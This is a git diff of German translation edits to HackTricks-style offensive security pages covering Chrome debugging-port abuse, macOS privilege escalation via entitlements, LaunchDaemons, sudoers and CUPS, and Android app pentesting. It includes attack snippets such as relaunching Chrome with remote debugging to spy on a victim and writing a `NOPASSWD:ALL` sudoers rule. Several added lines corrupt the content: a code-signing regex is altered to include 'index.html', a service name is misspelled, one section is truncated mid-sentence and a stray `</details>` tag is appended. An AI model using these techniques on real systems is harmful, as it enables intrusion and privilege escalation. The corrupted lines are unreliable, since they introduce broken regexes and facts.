-In der [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) entdeckte Rhino Security, dass eine auf CEF basierende Anwendung eine benutzerdefinierte URI im System (workspaces://) registrierte, die die vollständige URI empfing und dann die auf CEF basierende Anwendung mit einer Konfiguration startete, die teilweise aus dieser URI konstruiert wurde.
+In der [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) entdeckte Rhino Security, dass eine auf CEF basierende Anwendung eine benutzerdefinierte URI im System registriert hatte (workspaces://index.html), die die vollständige URI empfing und dann die auf CEF basierende Anwendung mit einer Konfiguration startete, die teilweise aus dieser URI konstruiert wurde.
 
-Es wurde entdeckt, dass die URI-Parameter URL-dekodiert und verwendet wurden, um die CEF-Basisanwendung zu starten, was es einem Benutzer ermöglichte, das Flag **`--gpu-launcher`** in der **Befehlszeile** zu **injizieren** und beliebige Dinge auszuführen.
+Es wurde entdeckt, dass die URI-Parameter URL-dekodiert und verwendet wurden, um die CEF-Basisanwendung zu starten, was es einem Benutzer ermöglichte, die Flagge **`--gpu-launcher`** in der **Befehlszeile** zu **injizieren** und beliebige Dinge auszuführen.
 
 Also, ein Payload wie:
 ```
@@ -126,9 +126,9 @@ Laut diesem Beitrag: [https://medium.com/@knownsec404team/counter-webdriver-from
 
 ### Post-Exploitation
 
-In einer realen Umgebung und **nachdem ein Benutzer-PC, der einen Chrome/Chromium-basierten Browser verwendet, kompromittiert wurde**, könntest du einen Chrome-Prozess mit **aktiviertem Debugging und Port-Forwarding des Debugging-Ports** starten, damit du darauf zugreifen kannst. Auf diese Weise wirst du in der Lage sein, **alles zu inspizieren, was das Opfer mit Chrome macht, und sensible Informationen zu stehlen**.
+In einer realen Umgebung und **nach der Kompromittierung** eines Benutzer-PCs, der einen Chrome/Chromium-basierten Browser verwendet, könnten Sie einen Chrome-Prozess mit **aktivierter Debugging-Funktion und Port-Forwarding des Debugging-Ports** starten, um darauf zugreifen zu können. Auf diese Weise sind Sie in der Lage, **alles zu inspizieren, was das Opfer mit Chrome macht, und sensible Informationen zu stehlen**.
 
-Der stealthy Weg ist, **jeden Chrome-Prozess zu beenden** und dann etwas wie aufzurufen.
+Der stealthy Weg ist, **jeden Chrome-Prozess zu beenden** und dann etwas wie zu rufen
 ```bash
 Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
 ```

src/macos-hardening/macos-security-and-privilege-escalation/README.md

@@ -73,7 +73,7 @@ Dies könnte in den folgenden Situationen auftreten:
 
 In der Lage zu sein, eine **Datei zu erstellen**, die von **root verwendet wird**, ermöglicht es einem Benutzer, **von ihrem Inhalt zu profitieren** oder sogar **Symlinks/Hardlinks** zu erstellen, um sie an einen anderen Ort zu verweisen.
 
-Für diese Art von Schwachstellen vergessen Sie nicht, **anfällige `.pkg` Installer** zu überprüfen:
+Für diese Art von Schwachstellen vergessen Sie nicht, **anfällige `.pkg`-Installer** zu überprüfen:
 
 {{#ref}}
 macos-files-folders-and-binaries/macos-installers-abuse.md
@@ -93,28 +93,4 @@ In macOS **können Anwendungen und Binärdateien Berechtigungen** haben, um auf
 
 Daher muss ein Angreifer, der eine macOS-Maschine erfolgreich kompromittieren möchte, seine **TCC-Berechtigungen eskalieren** (oder sogar **SIP umgehen**, je nach seinen Bedürfnissen).
 
-Diese Berechtigungen werden normalerweise in Form von **Entitlements** vergeben, mit denen die Anwendung signiert ist, oder die Anwendung könnte einige Zugriffe angefordert haben, und nachdem der **Benutzer diese genehmigt hat**, können sie in den **TCC-Datenbanken** gefunden werden. Eine andere Möglichkeit, wie ein Prozess diese Berechtigungen erhalten kann, besteht darin, ein **Kind eines Prozesses** mit diesen **Berechtigungen** zu sein, da sie normalerweise **vererbt** werden.
-
-Folgen Sie diesen Links, um verschiedene Möglichkeiten zu finden, [**Berechtigungen in TCC zu eskalieren**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), um [**TCC zu umgehen**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) und wie in der Vergangenheit [**SIP umgangen wurde**](macos-security-protections/macos-sip.md#sip-bypasses).
-
-## macOS Traditionelle Privilegieneskalation
-
-Natürlich sollten Sie aus der Perspektive der Red Teams auch daran interessiert sein, zu root zu eskalieren. Überprüfen Sie den folgenden Beitrag für einige Hinweise:
-
-{{#ref}}
-macos-privilege-escalation.md
-{{#endref}}
-
-## macOS Compliance
-
-- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
-
-## Referenzen
-
-- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
-- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
-- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
-- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
-- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
-
-{{#include ../../banners/hacktricks-training.md}}
+Diese Berechtigungen werden normalerweise in Form von **Entitlements** vergeben, mit denen die Anwendung signiert ist, oder die Anwendung könnte einige Zugriffe angefordert haben, und nachdem der **Benutzer diese genehmigt hat**, können sie in den **TCC-Datenbanken** gefunden werden. Eine andere Möglichkeit, wie ein Prozess diese Berechtigungen erhalten kann, besteht darin, ein **Kind eines Prozesses**

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md

@@ -17,11 +17,11 @@ Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, **SIP zu umgeh
 
 ### **`com.apple.system-task-ports` (früher `task_for_pid-allow` genannt)**
 
-Diese Berechtigung ermöglicht es, den **Task-Port für jeden** Prozess, außer dem Kernel, zu erhalten. Überprüfen Sie [**dies für weitere Informationen**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Diese Berechtigung ermöglicht es, den **Task-Port für jeden** Prozess, außer dem Kernel, zu erhalten. Überprüfen Sie [**dies für weitere Informationen**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.get-task-allow`
 
-Diese Berechtigung ermöglicht es anderen Prozessen mit der Berechtigung **`com.apple.security.cs.debugger**, den Task-Port des Prozesses zu erhalten, der von der Binärdatei mit dieser Berechtigung ausgeführt wird, und **Code darauf zu injizieren**. Überprüfen Sie [**dies für weitere Informationen**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
+Diese Berechtigung ermöglicht es anderen Prozessen mit der Berechtigung **`com.apple.security.cs.debugger**, den Task-Port des Prozesses zu erhalten, der von der Binärdatei mit dieser Berechtigung ausgeführt wird, und **Code darauf zu injizieren**. Überprüfen Sie [**dies für weitere Informationen**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 
 ### `com.apple.security.cs.debugger`
 
@@ -29,11 +29,11 @@ Apps mit der Debugging-Tool-Berechtigung können `task_for_pid()` aufrufen, um e
 
 ### `com.apple.security.cs.disable-library-validation`
 
-Diese Berechtigung ermöglicht es, **Frameworks, Plug-ins oder Bibliotheken zu laden, ohne entweder von Apple signiert zu sein oder mit derselben Team-ID** wie die Hauptausführbare signiert zu sein, sodass ein Angreifer einige beliebige Bibliotheksladungen missbrauchen könnte, um Code zu injizieren. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
+Diese Berechtigung ermöglicht es, **Frameworks, Plug-ins oder Bibliotheken zu laden, ohne entweder von Apple signiert zu sein oder mit derselben Team-ID** wie die Hauptanwendung signiert zu sein, sodass ein Angreifer einige beliebige Bibliotheksladungen missbrauchen könnte, um Code zu injizieren. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 
 ### `com.apple.private.security.clear-library-validation`
 
-Diese Berechtigung ist sehr ähnlich zu **`com.apple.security.cs.disable-library-validation`**, aber **anstatt** die Bibliotheksvalidierung **direkt zu deaktivieren**, ermöglicht sie dem Prozess, **einen `csops`-Systemaufruf zu tätigen, um sie zu deaktivieren**.\
+Diese Berechtigung ist sehr ähnlich zu **`com.apple.security.cs.disable-library-validation`**, aber **anstatt** die Bibliotheksvalidierung **direkt zu deaktivieren**, ermöglicht sie dem Prozess, einen **`csops`-Systemaufruf zu tätigen, um sie zu deaktivieren**.\
 Überprüfen Sie [**dies für weitere Informationen**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 
 ### `com.apple.security.cs.allow-dyld-environment-variables`
@@ -101,11 +101,11 @@ Oder sie dazu bringen, **willkürliche Aktionen** auszuführen.
 
 ### **`kTCCServiceEndpointSecurityClient`**
 
-Erlaubt unter anderem, die **TCC-Datenbank der Benutzer zu schreiben**.
+Erlaubt unter anderem, die **TCC-Datenbank der Benutzer** zu **schreiben**.
 
 ### **`kTCCServiceSystemPolicySysAdminFiles`**
 
-Erlaubt es, das **`NFSHomeDirectory`**-Attribut eines Benutzers zu **ändern**, was seinen Home-Ordner-Pfad ändert und somit ermöglicht, **TCC zu umgehen**.
+Erlaubt es, das **`NFSHomeDirectory`**-Attribut eines Benutzers zu **ändern**, was seinen Home-Ordner-Pfad ändert und somit das **Umgehen von TCC** ermöglicht.
 
 ### **`kTCCServiceSystemPolicyAppBundles`**
 
@@ -117,27 +117,27 @@ Es ist möglich zu überprüfen, wer diesen Zugriff hat in _Systemeinstellungen_
 
 ### `kTCCServiceAccessibility`
 
-Der Prozess wird in der Lage sein, die **Zugänglichkeitsfunktionen von macOS auszunutzen**, was bedeutet, dass er beispielsweise Tastenanschläge drücken kann. Er könnte also Zugriff anfordern, um eine App wie Finder zu steuern und den Dialog mit dieser Berechtigung zu genehmigen.
+Der Prozess wird in der Lage sein, die **Zugänglichkeitsfunktionen von macOS** zu **missbrauchen**, was bedeutet, dass er beispielsweise Tastenanschläge drücken kann. Er könnte also Zugriff anfordern, um eine App wie Finder zu steuern und den Dialog mit dieser Berechtigung zu genehmigen.
 
 ## Mittel
 
 ### `com.apple.security.cs.allow-jit`
 
-Diese Berechtigung erlaubt es, **speicher zu erstellen, der beschreibbar und ausführbar ist**, indem das `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
+Diese Berechtigung erlaubt es, **speicher zu erstellen, der beschreibbar und ausführbar ist**, indem das `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
 
 ### `com.apple.security.cs.allow-unsigned-executable-memory`
 
-Diese Berechtigung erlaubt es, **C-Code zu überschreiben oder zu patchen**, die lange veraltete **`NSCreateObjectFileImageFromMemory`** (die grundsätzlich unsicher ist) zu verwenden oder das **DVDPlayback**-Framework zu nutzen. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
+Diese Berechtigung erlaubt es, **C-Code zu überschreiben oder zu patchen**, die lange veraltete **`NSCreateObjectFileImageFromMemory`** (die grundsätzlich unsicher ist) zu verwenden oder das **DVDPlayback**-Framework zu nutzen. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 
 > [!CAUTION]
-> Das Einbeziehen dieser Berechtigung setzt Ihre App gängigen Schwachstellen in speicherunsicheren Programmiersprachen aus. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
+> Das Einfügen dieser Berechtigung setzt Ihre App gängigen Sicherheitsanfälligkeiten in speicherunsicheren Programmiersprachen aus. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
 
 ### `com.apple.security.cs.disable-executable-page-protection`
 
-Diese Berechtigung erlaubt es, **Abschnitte seiner eigenen ausführbaren Dateien** auf der Festplatte zu ändern, um gewaltsam zu beenden. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
+Diese Berechtigung erlaubt es, **Abschnitte seiner eigenen ausführbaren Dateien** auf der Festplatte zu **modifizieren**, um gewaltsam zu beenden. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 
 > [!CAUTION]
-> Die Berechtigung zum Deaktivieren des ausführbaren Speicherschutzes ist eine extreme Berechtigung, die einen grundlegenden Sicherheitschutz Ihrer App entfernt, wodurch es einem Angreifer möglich wird, den ausführbaren Code Ihrer App unbemerkt umzuschreiben. Bevorzugen Sie engere Berechtigungen, wenn möglich.
+> Die Berechtigung zum Deaktivieren des Schutzes für ausführbaren Speicher ist eine extreme Berechtigung, die einen grundlegenden Sicherheitschutz Ihrer App entfernt, wodurch es einem Angreifer möglich wird, den ausführbaren Code Ihrer App unbemerkt umzuschreiben. Bevorzugen Sie, wenn möglich, engere Berechtigungen.
 
 ### `com.apple.security.cs.allow-relative-library-loads`
 
@@ -161,3 +161,5 @@ Erlaube dem Prozess, **nach allen TCC-Berechtigungen zu fragen**.
 ### **`kTCCServicePostEvent`**
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+</details>

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md

@@ -18,27 +18,27 @@ Berechtigungen in einem **Verzeichnis**:
 
 - Ein übergeordneter **Verzeichnisbesitzer** im Pfad ist der Benutzer
 - Ein übergeordneter **Verzeichnisbesitzer** im Pfad ist eine **Benutzergruppe** mit **Schreibzugriff**
-- Eine Benutzer**gruppe** hat **Schreib**zugriff auf die **Datei**
+- Eine Benutzer-**Gruppe** hat **Schreib**zugriff auf die **Datei**
 
 Mit einer der vorherigen Kombinationen könnte ein Angreifer einen **sym/hard link** in den erwarteten Pfad **einspeisen**, um einen privilegierten beliebigen Schreibzugriff zu erhalten.
 
 ### Ordner root R+X Sonderfall
 
-Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, von diesem Ordner **in einen anderen** zu verschieben, könnte ausgenutzt werden, um diese Dateien zu lesen.
+Wenn es Dateien in einem **Verzeichnis** gibt, in dem **nur root R+X-Zugriff hat**, sind diese **für niemanden sonst zugänglich**. Eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei, die aufgrund dieser **Einschränkung** nicht gelesen werden kann, von diesem Ordner **in einen anderen** zu verschieben, könnte missbraucht werden, um diese Dateien zu lesen.
 
 Beispiel in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
 
-## Symbolischer Link / Harte Verknüpfung
+## Symbolischer Link / Harte Links
 
 ### Nachsichtige Datei/Ordner
 
 Wenn ein privilegierter Prozess Daten in eine **Datei** schreibt, die von einem **weniger privilegierten Benutzer** **kontrolliert** werden könnte oder die **zuvor von einem weniger privilegierten Benutzer erstellt** wurde. Der Benutzer könnte einfach **auf eine andere Datei** über einen symbolischen oder harten Link **verweisen**, und der privilegierte Prozess wird in dieser Datei schreiben.
 
-Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen beliebigen Schreibzugriff ausnutzen könnte, um Privilegien zu eskalieren**.
+Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer **einen beliebigen Schreibzugriff missbrauchen könnte, um Privilegien zu eskalieren**.
 
-### Offen `O_NOFOLLOW`
+### Offenes `O_NOFOLLOW`
 
-Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, folgt aber dem Rest des Pfades. Der richtige Weg, um zu verhindern, dass Symlinks im Pfad gefolgt wird, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
+Das Flag `O_NOFOLLOW`, wenn es von der Funktion `open` verwendet wird, folgt einem Symlink im letzten Pfadkomponenten nicht, aber es folgt dem Rest des Pfades. Der richtige Weg, um das Folgen von Symlinks im Pfad zu verhindern, ist die Verwendung des Flags `O_NOFOLLOW_ANY`.
 
 ## .fileloc
 
@@ -72,7 +72,7 @@ Zum Beispiel: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7
 ```bash
 xattr -d com.apple.quarantine /path/to/file_or_app
 ```
-### uchg / uchange / uimmutable-Flag
+### uchg / uchange / uimmutable flag
 
 Wenn eine Datei/ein Ordner dieses unveränderliche Attribut hat, ist es nicht möglich, ein xattr darauf zu setzen.
 ```bash
@@ -120,9 +120,9 @@ ls -le /tmp/test
 ```
 ### **com.apple.acl.text xattr + AppleDouble**
 
-Das **AppleDouble**-Dateiformat kopiert eine Datei einschließlich ihrer ACEs.
+**AppleDouble** Dateiformat kopiert eine Datei einschließlich ihrer ACEs.
 
-Im [**Quellcode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) ist zu sehen, dass die ACL-Textdarstellung, die im xattr mit dem Namen **`com.apple.acl.text`** gespeichert ist, als ACL in der dekomprimierten Datei gesetzt wird. Wenn Sie also eine Anwendung in eine Zip-Datei im **AppleDouble**-Dateiformat mit einer ACL komprimiert haben, die das Schreiben anderer xattrs verhindert... wurde das Quarantäne-xattr nicht in die Anwendung gesetzt:
+Im [**Quellcode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) ist zu sehen, dass die ACL-Textdarstellung, die im xattr mit dem Namen **`com.apple.acl.text`** gespeichert ist, als ACL in der dekomprimierten Datei gesetzt wird. Wenn Sie also eine Anwendung in eine Zip-Datei mit dem **AppleDouble** Dateiformat komprimiert haben, mit einer ACL, die das Schreiben anderer xattrs verhindert... wurde das Quarantäne-xattr nicht in die Anwendung gesetzt:
 
 Überprüfen Sie den [**ursprünglichen Bericht**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) für weitere Informationen.
 
@@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md
 
 ### Umgehung von Plattform-Binärprüfungen
 
-Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einem Umgehungstrick in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es möglich, diese Überprüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
+Einige Sicherheitsprüfungen überprüfen, ob die Binärdatei eine **Plattform-Binärdatei** ist, um beispielsweise die Verbindung zu einem XPC-Dienst zu ermöglichen. Wie in einer Umgehung in https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ dargelegt, ist es möglich, diese Prüfung zu umgehen, indem man eine Plattform-Binärdatei (wie /bin/ls) erhält und den Exploit über dyld mit einer Umgebungsvariable `DYLD_INSERT_LIBRARIES` injiziert.
 
 ### Umgehung der Flags `CS_REQUIRE_LV` und `CS_FORCED_LV`
 
@@ -175,7 +175,7 @@ NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, statu
 ```
 ## Bypass Code Signatures
 
-Bundles enthalten die Datei **`_CodeSignature/CodeResources`**, die den **Hash** jeder einzelnen **Datei** im **Bundle** enthält. Beachten Sie, dass der Hash von CodeResources auch **in der ausführbaren Datei eingebettet** ist, sodass wir damit ebenfalls nichts anstellen können.
+Bundles enthalten die Datei **`_CodeSignature/CodeResources`**, die den **Hash** jeder einzelnen **Datei** im **Bundle** enthält. Beachten Sie, dass der Hash von CodeResources auch **in der ausführbaren Datei eingebettet** ist, sodass wir damit ebenfalls nicht herumspielen können.
 
 Es gibt jedoch einige Dateien, deren Signatur nicht überprüft wird; diese haben den Schlüssel omit in der plist, wie:
 ```xml
@@ -195,7 +195,7 @@ Es gibt jedoch einige Dateien, deren Signatur nicht überprüft wird; diese habe
 </dict>
 <key>rules2</key>
 ...
-<key>^(.*/)?\.DS_Store$</key>
+<key>^(.*/index.html)?\.DS_Store$</key>
 <dict>
 <key>omit</key>
 <true/>
@@ -248,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
 # You can also create a dmg from an app using:
 hdiutil create -srcfolder justsome.app justsome.dmg
 ```
-Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitration.diskarbitrationd` Mach-Dienst kommuniziert (bereitgestellt von `/usr/libexec/diskarbitrationd`). Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden die Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
+Normalerweise mountet macOS Festplatten, indem es mit dem `com.apple.DiskArbitration.diskarbitrariond` Mach-Dienst (bereitgestellt von `/usr/libexec/diskarbitrationd`) kommuniziert. Wenn man den Parameter `-d` zur LaunchDaemons plist-Datei hinzufügt und neu startet, werden die Protokolle in `/var/log/diskarbitrationd.log` gespeichert.\
 Es ist jedoch möglich, Tools wie `hdik` und `hdiutil` zu verwenden, um direkt mit dem `com.apple.driver.DiskImages` kext zu kommunizieren.
 
 ## Arbiträre Schreibvorgänge
@@ -278,11 +278,11 @@ Schreiben Sie einen beliebigen **LaunchDaemon** wie **`/Library/LaunchDaemons/xy
 </dict>
 </plist>
 ```
-Erstellen Sie das Skript `/Applications/Scripts/privesc.sh` mit den **Befehlen**, die Sie als root ausführen möchten.
+Erstellen Sie einfach das Skript `/Applications/Scripts/privesc.sh` mit den **Befehlen**, die Sie als root ausführen möchten.
 
 ### Sudoers-Datei
 
-Wenn Sie **willkürlichen Schreibzugriff** haben, könnten Sie eine Datei im Ordner **`/etc/sudoers.d/`** erstellen, die Ihnen **sudo**-Berechtigungen gewährt.
+Wenn Sie **willkürlichen Schreibzugriff** haben, könnten Sie eine Datei im Ordner **`/etc/sudoers.d/`** erstellen, die Ihnen **sudo**-Rechte gewährt.
 
 ### PATH-Dateien
 
@@ -302,17 +302,17 @@ LogFilePerm 777
 ```
 Dies wird die Datei `/etc/sudoers.d/lpe` mit den Berechtigungen 777 erstellen. Der zusätzliche Müll am Ende dient dazu, die Erstellung des Fehlerprotokolls auszulösen.
 
-Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration zur Eskalation der Berechtigungen wie `%staff ALL=(ALL) NOPASSWD:ALL`.
+Dann schreibe in `/etc/sudoers.d/lpe` die benötigte Konfiguration, um Privilegien zu eskalieren, wie `%staff ALL=(ALL) NOPASSWD:ALL`.
 
 Ändere dann die Datei `/etc/cups/cups-files.conf` erneut und gebe `LogFilePerm 700` an, damit die neue sudoers-Datei gültig wird, wenn `cupsctl` aufgerufen wird.
 
 ### Sandbox Escape
 
-Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu verlassen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt und diesen mit `open` aufruft.
+Es ist möglich, die macOS-Sandbox mit einem FS-arbiträren Schreibzugriff zu verlassen. Für einige Beispiele siehe die Seite [macOS Auto Start](../../../../macos-auto-start-locations.md), aber ein gängiger ist, eine Terminal-Präferenzdatei in `~/Library/Preferences/com.apple.Terminal.plist` zu schreiben, die einen Befehl beim Start ausführt und sie mit `open` aufruft.
 
 ## Generiere beschreibbare Dateien als andere Benutzer
 
-Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als privesc funktionieren:
+Dies wird eine Datei erzeugen, die root gehört und von mir beschreibbar ist ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). Dies könnte auch als Privilegieneskalation funktionieren:
 ```bash
 DIRNAME=/usr/local/etc/periodic/daily
 
@@ -326,7 +326,7 @@ echo $FILENAME
 ```
 ## POSIX Shared Memory
 
-**POSIX Shared Memory** ermöglicht es Prozessen in POSIX-konformen Betriebssystemen, auf einen gemeinsamen Speicherbereich zuzugreifen, was eine schnellere Kommunikation im Vergleich zu anderen Methoden der interprozesslichen Kommunikation erleichtert. Es beinhaltet das Erstellen oder Öffnen eines Shared Memory-Objekts mit `shm_open()`, das Festlegen seiner Größe mit `ftruncate()` und das Mappen in den Adressraum des Prozesses mit `mmap()`. Prozesse können dann direkt aus diesem Speicherbereich lesen und in ihn schreiben. Um den gleichzeitigen Zugriff zu verwalten und Datenkorruption zu verhindern, werden häufig Synchronisationsmechanismen wie Mutexes oder Semaphoren verwendet. Schließlich entmappen und schließen Prozesse den Shared Memory mit `munmap()` und `close()`, und entfernen optional das Speicherobjekt mit `shm_unlink()`. Dieses System ist besonders effektiv für effiziente, schnelle IPC in Umgebungen, in denen mehrere Prozesse schnell auf gemeinsame Daten zugreifen müssen.
+**POSIX Shared Memory** ermöglicht es Prozessen in POSIX-konformen Betriebssystemen, auf einen gemeinsamen Speicherbereich zuzugreifen, was eine schnellere Kommunikation im Vergleich zu anderen Methoden der interprozessualen Kommunikation erleichtert. Es beinhaltet das Erstellen oder Öffnen eines Shared Memory-Objekts mit `shm_open()`, das Festlegen seiner Größe mit `ftruncate()` und das Mappen in den Adressraum des Prozesses mit `mmap()`. Prozesse können dann direkt aus diesem Speicherbereich lesen und in ihn schreiben. Um den gleichzeitigen Zugriff zu verwalten und Datenkorruption zu verhindern, werden häufig Synchronisationsmechanismen wie Mutexes oder Semaphoren verwendet. Schließlich entmappen und schließen Prozesse den Shared Memory mit `munmap()` und `close()`, und entfernen optional das Speicherobjekt mit `shm_unlink()`. Dieses System ist besonders effektiv für effiziente, schnelle IPC in Umgebungen, in denen mehrere Prozesse schnell auf gemeinsame Daten zugreifen müssen.
 
 <details>
 
@@ -422,13 +422,13 @@ return 0;
 
 ## macOS Geschützte Deskriptoren
 
-**macOS geschützte Deskriptoren** sind eine Sicherheitsfunktion, die in macOS eingeführt wurde, um die Sicherheit und Zuverlässigkeit von **Dateideskriptoroperationen** in Benutzeranwendungen zu verbessern. Diese geschützten Deskriptoren bieten eine Möglichkeit, spezifische Einschränkungen oder "Schutzmaßnahmen" mit Dateideskriptoren zu verknüpfen, die vom Kernel durchgesetzt werden.
+**macOS geschützte Deskriptoren** sind eine Sicherheitsfunktion, die in macOS eingeführt wurde, um die Sicherheit und Zuverlässigkeit von **Dateideskriptoroperationen** in Benutzeranwendungen zu verbessern. Diese geschützten Deskriptoren bieten eine Möglichkeit, spezifische Einschränkungen oder "Wächter" mit Dateideskriptoren zu verknüpfen, die vom Kernel durchgesetzt werden.
 
 Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitsanfälligkeiten wie **unbefugten Dateizugriff** oder **Rennbedingungen** zu verhindern. Diese Anfälligkeiten treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift und **einem anderen anfälligen Thread Zugriff darauf gewährt** oder wenn ein Dateideskriptor von einem anfälligen Kindprozess **vererbt** wird. Einige Funktionen, die mit dieser Funktionalität zusammenhängen, sind:
 
-- `guarded_open_np`: Öffnet einen FD mit einem Schutz
+- `guarded_open_np`: Öffnet einen FD mit einem Wächter
 - `guarded_close_np`: Schließt ihn
-- `change_fdguard_np`: Ändert die Schutzflags eines Deskriptors (sogar das Entfernen des Schutzes)
+- `change_fdguard_np`: Ändert die Wächterflags auf einem Deskriptor (sogar den Wächterschutz entfernen)
 
 ## Referenzen
 

src/mobile-pentesting/android-app-pentesting/README.md

@@ -67,9 +67,9 @@ Die **Untersuchung der \_Manifest.xml**_\*\* und \*\*_**strings.xml**\_\*\* Date
 - **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät.
 - **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist.
 - **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains.
-- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt.
+- **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzen kann.
